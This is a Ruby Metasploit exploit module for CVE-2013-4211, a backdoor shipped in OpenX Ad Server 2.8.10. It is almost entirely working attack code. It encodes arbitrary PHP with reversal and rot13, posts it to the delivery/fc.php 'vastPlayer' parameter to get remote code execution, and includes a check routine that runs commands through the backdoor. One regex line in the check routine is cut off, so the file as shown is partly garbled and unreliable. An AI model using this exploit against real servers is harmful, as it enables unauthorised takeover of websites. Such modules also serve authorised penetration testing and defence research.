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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenX Backdoor PHP Code Execution',
'Description' => %q{
OpenX Ad Server version 2.8.10 was shipped with an obfuscated
backdoor since at least November 2012 through August 2013.
Exploitation is simple, requiring only a single request with a
rot13'd and reversed payload.
},
'Author' =>
[
'egypt',
'Unknown',
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-4211' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 262144,
},
'DisclosureDate' => 'Aug 07 2013',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Generic (PHP payload)', { }]],
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
], self.class)
end
def check
token = rand_text_alpha(20)
response = execute_php("echo '#{token} '.phpversion();die();")
if response.nil?
CheckCode::Unknown
elsif response.body =~ /
print_status("PHP Version #{$1}")
return CheckCode::Vulnerable
end
return CheckCode::Safe
end
def exploit
execute_php(payload.encoded)
handler
end
def execute_php(php_code)
money = rot13(php_code.reverse)
begin
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => normalize_uri(target_uri.path,"www","delivery","fc.php"),
'vars_get' => {
'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
'script' => 'deliveryLog:vastServeVideoPlayer:player'
},
'vars_post' => {
'vastPlayer' => money
},
}, 0.1)
rescue ::Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue ::OpenSSL::SSL::SSLError
fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
end
response
end
def rot13(str)
str.tr! "A-Za-z", "N-ZA-Mn-za-m"
end
end
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